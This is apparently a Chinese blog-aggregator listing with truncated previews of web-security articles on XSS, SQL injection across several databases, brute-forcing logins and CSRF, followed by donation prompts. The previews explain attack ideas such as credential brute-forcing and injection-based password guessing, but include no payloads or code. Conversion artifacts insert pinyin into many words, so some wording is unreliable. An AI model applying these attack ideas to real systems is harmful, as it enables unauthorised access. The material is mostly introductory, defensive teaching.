    這篇文章把Xss跨站攻擊和sql注入的相關(guān)知識整理了下,比較適合初學(xué)者觀看。 對于防止sql注入發(fā)生,我在這里用簡單拼接字符串的注入及參數(shù)化查詢,如果大家對這個系列的內(nèi)容感興趣,可以在評論區(qū)告訴我! XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者

    2024年02月07日
    瀏覽(24)
  • 常見web安全漏洞-暴力破解,xss,SQL注入,csrf

    常見web安全漏洞-暴力破解,xss,SQL注入,csrf

    1,暴力破解 原理: ? ? ? ? 使用大量的認(rèn)證信息在認(rèn)證接口進(jìn)行登錄認(rèn)證,知道正確為止。為提高效率一般使用帶有字典的工具自動化操作 ? ? ? ? 基于表單的暴力破解 --- 若用戶沒有安全認(rèn)證,直接進(jìn)行抓包破解。 驗證碼繞過 ? ????????????????????????on s

    2023年04月12日
    瀏覽(23)
  • 小迪安全25WEB 攻防-通用漏洞&SQL 讀寫注入&MYSQL&MSSQL&PostgreSQL

    小迪安全25WEB 攻防-通用漏洞&SQL 讀寫注入&MYSQL&MSSQL&PostgreSQL

    ? ?#知識點:? 1、SQL 注入-MYSQL 數(shù)據(jù)庫? 2、SQL 注入-MSSQL(SQL server) 數(shù)據(jù)庫? 3、SQL 注入-PostgreSQL 數(shù)據(jù)庫? #詳細(xì)點:? Access 無高權(quán)限注入點-只能猜解,還是暴力猜解? ? ? ? ? ?因為access的數(shù)據(jù)庫是獨立存在的,不存在統(tǒng)一管理 對賬號密碼進(jìn)行猜解,此時只是獲取到后臺的操

    2024年02月20日
    瀏覽(25)
  • MySQL 安全及防止 SQL 注入攻擊

    如果通過網(wǎng)頁獲取用戶輸入的數(shù)據(jù)并將其插入? MySQL ?數(shù)據(jù)庫,那么就有可能發(fā)生? SQL 注入攻擊的安全問題 作為研發(fā),有一條鐵律需要記住,那就是 永遠(yuǎn)不要相信用戶的數(shù)據(jù),哪怕他一再承諾是安全的 SQL ?注入,就是通過把? SQL ?命令插入到? Web ?表單遞交或輸入域名或頁

    2024年02月02日
    瀏覽(41)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包